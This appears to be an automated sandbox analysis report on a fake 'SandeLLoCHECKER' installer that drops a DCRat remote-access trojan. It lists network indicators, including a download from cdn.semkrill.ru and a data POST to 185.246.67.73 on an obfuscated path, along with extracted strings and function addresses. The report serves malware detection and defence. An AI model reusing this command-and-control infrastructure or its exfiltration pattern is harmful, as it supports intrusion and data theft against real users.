Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73
Source: unknown	TCP traffic detected without corresponding DNS query: 185.246.67.73

Source: global traffic

HTTP traffic detected: GET /checker/release/update/SandeLLoCHECKER_Installer-FILES.7z HTTP/1.1Accept: */*User-Agent: AdvancedInstallerHost: cdn.semkrill.ruConnection: Keep-AliveCache-Control: no-cache

Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000000.1661467131.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmp	String found in binary or memory: FlashWindowExFlashWindowGetPackagePathhttp://www.example.comTESThttp://www.google.comhttp://www.yahoo.comtin9999.tmp.part= "GETattachmentDLD123filenamecharsetutf-16ISO-8859-1POSTutf-8Local Network ServerFTP ServerUS-ASCIIAdvancedInstallerRange: bytes=%u- equals www.yahoo.com (Yahoo)
Source: gorkmTnChA.exe	String found in binary or memory: Logger::SetLogFile( %s ) while OLD path is:%sLOGGER->Reusing LOG file at:LOGGER->Creating LOG file at:%04d-%02d-%02d %02d-%02d-%02dLOGGER->failed to create LOG at:OS Version: %u.%u.%u SP%u (%s) [%s]CPU: serverworkstationUnkownCPU`XUFlashWindowExFlashWindowGetPackagePathhttp://www.example.comTESThttp://www.google.comhttp://www.yahoo.comtin9999.tmp.part= "GETattachmentDLD123filenamecharsetutf-16ISO-8859-1POSTutf-8Local Network ServerFTP ServerUS-ASCIIAdvancedInstallerRange: bytes=%u- equals www.yahoo.com (Yahoo)

Source: global traffic

DNS traffic detected: DNS query: cdn.semkrill.ru

Source: unknown

HTTP traffic detected: POST /Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdatePacket/Javascript3lowpython/db/ProtonBigloadApiline/5flowertrackJs/VoiddbProtect/1Temptraffic/TrackDatalife0/auth/JsToProton/uploads6centralLinux/Providerto_packetLowServerbaseDownloads.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.55 Safari/537.36 Edg/96.0.1054.34Host: 185.246.67.73Content-Length: 344Expect: 100-continueConnection: Keep-Alive

Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003661000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.246.67.73
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003427000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003661000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.246.67.73/Uploads/server9/universalUploads/Trafficcentraldatalife/phplow3/trackMultiupdat
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003427000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.246.67.73d
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003661000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.246H
Source: gorkmTnChA.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: gorkmTnChA.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: gorkmTnChA.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: gorkmTnChA.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: gorkmTnChA.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: gorkmTnChA.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2895703054.0000000000DDF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000003.1729821390.0000000004D1E000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1729996940.0000000004D1E000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1729051737.0000000004D1E000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2895703054.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1729286313.0000000004D1E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: SandeLLoCHECKER_Installer.exe, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1729136751.0000000000E37000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1730081559.0000000000E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?7c1528bf45933
Source: gorkmTnChA.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: gorkmTnChA.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: gorkmTnChA.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: webDriverintoDll.exe, 0000000B.00000002.1844340465.00000000031DA000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2899943903.0000000003277000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-user.html
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sakkal.com
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.tiro.com
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.typography.netD
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2945964352.000000001FA02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2895703054.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.semkrill.ru/
Source: gorkmTnChA.exe	String found in binary or memory: https://cdn.semkrill.ru/checker/release/update/SandeLLoCHECKER_Installer-FILES.7z
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2895703054.0000000000D9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.semkrill.ru/checker/release/update/SandeLLoCHECKER_Installer-FILES.7z4p
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: SandeLLoCHECKER_Installer.exe, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732047913.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732107004.0000000004D5C000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1707579064.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.semkrill.ru/
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2900625714.0000000004D00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.semkrill.ru/=
Source: SandeLLoCHECKER_Installer.msi.3.dr	String found in binary or memory: https://discord.semkrill.ru/AI_CLEAN_RESOURCES_USER_PROMPT_BASIC_UI0AI_APP_FILE
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.semkrill.ru/g
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://discord.semkrill.ru/h
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: gorkmTnChA.exe	String found in binary or memory: https://sandello.ru
Source: SandeLLoCHECKER_Installer.exe, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732047913.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2898761896.00000000034B0000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2900625714.0000000004D00000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732107004.0000000004D5C000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1707579064.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://semkrill.ru/contact
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://semkrill.ru/contact(
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://semkrill.ru/contact(5h
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.0000000006170000.00000002.00000010.00040000.0000001B.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1707913300.00000000034BD000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.msi.3.dr	String found in binary or memory: https://semkrill.ru/contactWindowsTypeNT40DisplayWindows
Source: SandeLLoCHECKER_Installer.exe, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000002.2900625714.0000000004D00000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1707579064.0000000000E34000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://semkrill.ru/support
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2902345730.0000000006170000.00000002.00000010.00040000.0000001B.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1707913300.00000000034BD000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.msi.3.dr	String found in binary or memory: https://semkrill.ru/supportAI_SHORTCUTTABLE_FLAGSCOLUMNAQAAAA8AAABTAGEAbgBkAGUATABMAG8AQwBIAEUAQwBLA
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732047913.0000000004D49000.00000004.00000020.00020000.00000000.sdmp, SandeLLoCHECKER_Installer.exe, 00000003.00000003.1732107004.0000000004D5C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://semkrill.ru/supportEY
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://semkrill.ru/supporth1h
Source: SandeLLoCHECKER_Installer.exe, 00000003.00000002.2905936308.000000000B669000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://semkrill.ru/supporthPh
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013718000.00000004.00000800.00020000.00000000.sdmp, KAdpNCgonFhCnlBRasdZerWl.exe, 00000024.00000002.2922369928.0000000013664000.00000004.00000800.00020000.00000000.sdmp, KUA0FEd33u.36.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443

Source: unknown

HTTPS traffic detected: 172.67.184.109:443 -> 192.168.2.4:49730 version: TLS 1.2

Source: C:\Program Files (x86)\Reference Assemblies\Microsoft\KAdpNCgonFhCnlBRasdZerWl.exe

Window created: window name: CLIPBRDWNDCLASS

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\SysWOW64\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_009A69A0 NtdllDefWindowProc_W,	3_2_009A69A0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0091D900 GetSystemDirectoryW,LoadLibraryExW,NtdllDefWindowProc_W,	3_2_0091D900
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_008583D0 GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,DestroyWindow,	3_2_008583D0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00856460 NtdllDefWindowProc_W,	3_2_00856460
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_008766A0 NtdllDefWindowProc_W,	3_2_008766A0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00858AF0 NtdllDefWindowProc_W,	3_2_00858AF0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00868BB0 NtdllDefWindowProc_W,	3_2_00868BB0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_008590B0 NtdllDefWindowProc_W,	3_2_008590B0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_008B5450 GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,	3_2_008B5450
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_008635D0 KillTimer,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,DeleteCriticalSection,	3_2_008635D0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_008556E0 GetWindowLongW,GetWindowLongW,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,GetWindowLongW,SetWindowTextW,GlobalAlloc,GlobalLock,GlobalUnlock,SetWindowLongW,NtdllDefWindowProc_W,	3_2_008556E0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0085F6E0 NtdllDefWindowProc_W,	3_2_0085F6E0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0085F850 IsWindow,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,	3_2_0085F850
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00855E00 SysFreeString,GetWindowLongW,GetWindowLongW,GetWindowLongW,SetWindowLongW,NtdllDefWindowProc_W,GetWindowLongW,SetWindowTextW,GlobalAlloc,GlobalLock,GlobalUnlock,SetWindowLongW,SysFreeString,NtdllDefWindowProc_W,SysFreeString,	3_2_00855E00
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00901F80 NtdllDefWindowProc_W,	3_2_00901F80

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

Code function: 1_2_00496FAA: __EH_prolog,_wcslen,_wcslen,CreateFileW,CloseHandle,CreateDirectoryW,CreateFileW,DeviceIoControl,CloseHandle,GetLastError,RemoveDirectoryW,DeleteFileW,

1_2_00496FAA

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_0049848E	1_2_0049848E
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004940FE	1_2_004940FE
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004A4088	1_2_004A4088
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004A00B7	1_2_004A00B7
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004A7153	1_2_004A7153
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004B51C9	1_2_004B51C9
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004A62CA	1_2_004A62CA
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004932F7	1_2_004932F7
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004A43BF	1_2_004A43BF
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004BD440	1_2_004BD440
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_0049F461	1_2_0049F461
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_0049C426	1_2_0049C426
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004A77EF	1_2_004A77EF
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_0049286B	1_2_0049286B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004BD8EE	1_2_004BD8EE
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004C19F4	1_2_004C19F4
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_0049E9B7	1_2_0049E9B7
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004A6CDC	1_2_004A6CDC
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004A3E0B	1_2_004A3E0B
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_0049EFE2	1_2_0049EFE2
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 1_2_004B4F9A	1_2_004B4F9A
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_009866E0	3_2_009866E0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0097A850	3_2_0097A850
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_009689C0	3_2_009689C0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_009B30F0	3_2_009B30F0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0099F2B0	3_2_0099F2B0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A0C1E0	3_2_00A0C1E0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A00110	3_2_00A00110
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0087C210	3_2_0087C210
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00870340	3_2_00870340
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A2E34A	3_2_00A2E34A
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_009444C0	3_2_009444C0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0086C5A1	3_2_0086C5A1
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00988600	3_2_00988600
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00966840	3_2_00966840
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_008B89F0	3_2_008B89F0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A1E95C	3_2_00A1E95C
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_0086EB80	3_2_0086EB80
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00972BE0	3_2_00972BE0
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A32DC9	3_2_00A32DC9
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00A30EA1	3_2_00A30EA1
Source: C:\Users\user\AppData\Local\Temp\SandeLLoCHECKER_Installer.exe	Code function: 3_2_00842EA0	3_2_00842EA0
